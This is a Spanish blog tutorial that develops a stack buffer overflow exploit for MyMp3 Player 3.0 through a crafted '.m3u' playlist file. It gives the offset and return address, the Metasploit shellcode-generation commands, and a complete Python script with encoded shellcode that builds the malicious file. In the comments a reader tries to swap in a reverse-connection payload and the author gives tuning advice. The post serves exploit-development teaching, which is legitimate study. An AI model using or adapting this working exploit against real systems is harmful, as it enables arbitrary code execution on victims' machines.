miércoles, 11 de abril de 2012

[Exploit] - MyMp3 Player 3.0 Stack Buffer Overflow

imagePara consolidar el método de explotación detallado en la serie “Explotación de vulnerabilidades - Stack Buffer Overflow”, hoy vamos a ver un ejemplo real con la aplicación MyMp3 Player en su versión 3.0.

Basándonos en el Advisor que se publicó en el portal securityfocus.org sobre la aplicación y la vulnerabilidad detectada en el procesado de los ficheros de listas de reproducción (formato “m3u”), vamos a desarrollar un exploit que nos permita ejecutar código arbitrario en la aplicación afectada.

El primero de los pasos necesario es la creación de un fichero con formato “.m3u” que contemple las características del mismo, para así poder aprovecharnos de la vulnerabilidad. En este caso no va a ser necesario ya que la aplicación no controla que se esté realizando un correcto formato del fichero.

1 - Detección de la vulnerabilidad

Para la detección de la vulnerabilidad y debido a que anteriormente ya sabemos que se trata de una vulnerabilidad “Stack Buffer Overflow”, utilizaremos la aplicación pattern_create del framework de metasploit, generando un fichero con extensión “.m3u” que sobrescribirá la PILA de la aplicación al ser procesado.

image

Si depuramos la aplicación cuando se está llevando a cabo el procesado del fichero, podremos llegar a visualizar cómo el registro EIP es sobrescrito con valores del fichero, por lo que, ya tenemos el primer punto necesario para la explotación.

image

2 - Localización de la dirección de retorno

Ya sabemos que la aplicación es vulnerable a Stack Buffer Overflow, ahora vamos a proceder a averiguar la dirección exacta de memoria donde se aloja el valor que utilizará la instrucción RETN y así poderla modificar a nuestro antojo. Para la realización de esta tarea utilizaremos la herramienta pattern_offset.

image

Tal y como se puede observar en la captura anterior existen 1024 bytes antes de la dirección de retorno, por lo que, esta estará compuesta por el byte 1025, 1026, 1027 y 1028.

3 - Salto a la ShellCode

Para cambiar un poco la metodología del desarrollo de exploits para este tipo de vulnerabilidades, vamos a utilizar los 1024 bytes iniciales (espacio de sobra) para almacenar nuestra ShellCode, en nuestro caso la explotación de la aplicación quedaría del siguiente modo:

image

Podríamos elegir cualquier posición entre los 1024 bytes iniciales para añadir nuestra ShellCode, hay que tener en cuenta que esta ocupara parte del Buffer, por lo que, no es aconsejable escoger las últimas posiciones.

En nuestro caso escogemos el valor sobrescrito “41307341” que coincide con la dirección de memoria 0x0012EB68 de la PILA. Un modo rápido de obtener el offset o posición es mediante la herramienta anteriormente comentada pattern_offset.

image

Con esto ya tendríamos la dirección exacta (0x0012EB68) utilizada para sobrescribir la dirección de retorno tras los 1024 bytes y que apunta a nuestra ShellCode.

RET = “\x68\xEB\x12\x00” # Jump to ShellCode - 0x0012EB68

4 - Desarrollo del exploit

Si juntamos la estructura comentada anteriormente deberíamos formar algo similar a:

image

Para la generación de la ShellCode, debemos tener en cuenta algunos matices para que todo funcione correctamente.

  1. El tamaño de la ShellCode no puede superar en ningún caso la posición 1024 del buffer.
  2. Existen algunos caracteres como “\x00”, “\x0a”, “\x0d”o “\x20” (en hexadecimal) que no son bien interpretados por la aplicación.

De nuevo, utilizaremos las herramientas msfpayload y msfencode del framework metasploit para la generación de la ShellCode.

Comando: msfpayload windows/exec CMD=calc.exe R | msfencode -b '\x0a\x0d\x20\x00' -t c

Basicamente generamos una ShellCode que nos ejecute una calculadora, descartando los valores indicados mediante el parámetro “-b”. Si unificamos todas las características comentadas conseguiremos un código similar al siguiente exploit:

'''
Title: MyMp3-Player '.m3u' Stack Buffer Overflow
Author: Daniel Romero
Software & Version: MyMp3-Player 3.02.067
Tested on: Windows XP SP3 - ES
Mail: unlearnsecurity@gmail.com
Blog: unlearningsecurity.blogspot.com
Advisor: http://www.securityfocus.com/bid/38835/info
'''
import os

# Buffer
Buff = "\x41"*540
# Nops
Nops = "\x90"*50

# ShellCode (ruby msfpayload windows/exec CMD=calc.exe R | ruby msfencode -b '\x0a\x0d\x20\x00' -t c) - 227 bytes
ShellCode = ("\xb8\xf8\x16\x8a\x64\xd9\xe9\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"
"\x33\x31\x46\x12\x83\xc6\x04\x03\xbe\x18\x68\x91\xc2\xcd\xe5"
"\x5a\x3a\x0e\x96\xd3\xdf\x3f\x84\x80\x94\x12\x18\xc2\xf8\x9e"
"\xd3\x86\xe8\x15\x91\x0e\x1f\x9d\x1c\x69\x2e\x1e\x91\xb5\xfc"
"\xdc\xb3\x49\xfe\x30\x14\x73\x31\x45\x55\xb4\x2f\xa6\x07\x6d"
"\x24\x15\xb8\x1a\x78\xa6\xb9\xcc\xf7\x96\xc1\x69\xc7\x63\x78"
"\x73\x17\xdb\xf7\x3b\x8f\x57\x5f\x9c\xae\xb4\x83\xe0\xf9\xb1"
"\x70\x92\xf8\x13\x49\x5b\xcb\x5b\x06\x62\xe4\x51\x56\xa2\xc2"
"\x89\x2d\xd8\x31\x37\x36\x1b\x48\xe3\xb3\xbe\xea\x60\x63\x1b"
"\x0b\xa4\xf2\xe8\x07\x01\x70\xb6\x0b\x94\x55\xcc\x37\x1d\x58"
"\x03\xbe\x65\x7f\x87\x9b\x3e\x1e\x9e\x41\x90\x1f\xc0\x2d\x4d"
"\xba\x8a\xdf\x9a\xbc\xd0\xb5\x5d\x4c\x6f\xf0\x5e\x4e\x70\x52"
"\x37\x7f\xfb\x3d\x40\x80\x2e\x7a\xbe\xca\x73\x2a\x57\x93\xe1"
"\x6f\x3a\x24\xdc\xb3\x43\xa7\xd5\x4b\xb0\xb7\x9f\x4e\xfc\x7f"
"\x73\x22\x6d\xea\x73\x91\x8e\x3f\x10\x74\x1d\xa3\xf9\x13\xa5"
"\x46\x06")

# Buffer 2
Buff2 = "\x42"*207
# RET
RET = "\x68\xEB\x12\x00" #0012EB68 --> Position 540 (Buffer)

# Exploit
exploit = Buff + Nops + ShellCode + Buff2 + RET

# Create File
file = open("exploit_mymp3-player_BOF.m3u", "wb")
file.write(exploit)
file.close()

print ("Your file has been generated successfully!!")

Ejecutamos el exploit y abrimos con la aplicación MyMp3-Player el fichero generado, al procesar el archivo obtendremos como resultado una calculadora, consiguiendo así, ejecución de código arbitrario en la aplicación vulnerable.

image

Tenéis disponible la descarga del exploit desde el siguiente enlace: Exploit_mymp3-player.py y de la aplicación vulnerable desde aquí, para que realicéis vuestras pruebas.

Nota: Las pruebas han sido realizadas sobre un Sistema Operativo Windows XP SP3 en Español.

Si bien hemos conseguido nuestro objetivo, no hay que olvidar que nos hemos dejado muchos matices por el camino, tales como: ¿Qué función/código de la aplicación es la es vulnerable?, ¿Cómo detectamos los caracteres inválidos por la aplicación?, etcétera. Todo esto lo iremos explicando poco a poco en las siguientes entradas.

Un Saludo!!

9 comentarios:

  1. Buenas, soy el que ayer dijo que iba empezar con este tema, je, comence, lo voy entendiendo bastante, Al probar este exploit (que funciona) para meter un poco de mano, intente cambiarle el shellcode por un Payload reverse_tcp envez de la calc. , no me funciono, intente poner una shellcode que abra el notepad en vez de la calc. ,no me funciono, intente ponerle la shellcode del la calc. usando exactamente el mismo comando que indicas " msfpayload windows/exec CMD=calc.exe R | msfencode -b '\x0a\x0d\x20' -t c " tampoco me funciono. Solo me funciona si uso la shellcode que viene originalmente en el exploit. Porque puede ser? Gracias.

    ResponderEliminar
  2. Y para molestar de una sola vez, me queda por entender de donde sale el valor

    "\x41" en Buff = "\x41"*540 y "\x90" en Nops = "\x90"*50 .

    Y como detectar los caracteres invalidos, ke segun veo lo explicaras en otra entrada, esperare. Gracias

    ResponderEliminar
    Respuestas
    1. Este comentario ha sido eliminado por el autor.

      Eliminar
  3. @AK47 Tienes razón, me equivoqué al pegar el comando utilizado y por eso no te funciona correctamente, el problema reside en los caracteres filtrados donde abría que añadirle el carácter "\x00", he estado realizando pruebas con diferentes ShellCodes que devuelve metasploit y funciona correctamente. (Actualizaré la entrada lo antes posible)

    Nuevo comando: msfpayload windows/exec CMD=calc.exe R | msfencode -b '\x0a\x0d\x20\x00' -t c

    Por otro lado, los valores que me indicas, "\x41" hace referencia al carácter "A" mayúsculas en hexadecimal y lo utilizo para añadir "paja" al principio del exploit para llegar a la dirección de memoria que me interesa. Y "\x90" es el opcode de la instrucción "NOP", la cual no hace nada solo pasar a la siguiente instrucción.

    Un Saludo ;)

    ResponderEliminar
  4. @AK47 Por cierto, si quieres añadirle otra ShellCode al exploit, deberás tener en cuenta el tamaño de la misma y el tamaño del Buffer2 para que la variable RET empiece a introducirse a partir del byte 1024.

    Un Saludo

    ResponderEliminar
  5. Gracias por responder. Eh probado de cambiar la shellcode para que me abra el notepad en el ejemplo anterior, el programita echo en C, y me funciono. Con respecto a este exploit, pusiste el mismo comando que esta en la pagina, si ese es el comando, algo estoy haciendo mal yo...aunque nose que.

    Estoy intentando ponerle un shellcode de un Payload de conexion inversa. El shelcode tiene 317 bytes, si no entiendo mal, el Buffer2 deberia tener este valor

    Buff2 = "\x42"*117

    es correcto? el tema del "\x42" nose si iria ese u otro, no entendi muy bien el como usarlo para llegar ala direccion de memoria que necesito. Gracias de nuevo y perdon por mi novatez.

    ResponderEliminar
  6. Ahora creo entendi el "\x41" es simplemente una letra que utilizas, en este caso para decirle que escriba 540 "A" Buff = "\x41"*540 osea "llene" 540 bytes, o meti la pata?

    ResponderEliminar
  7. @AK47 Sí, solo se utiliza para llenar con 540 "A" el principio del buffer, que podrías utilizar cualquier otro carácter sin problemas.

    Prueba a bajar disminiur el número de NOPs introducidos antes de la ShellCode a 20, es posible que muchos NOPs antes de la ShellCode hagan que esta no funcione correctamente.

    Un Saludo!

    ResponderEliminar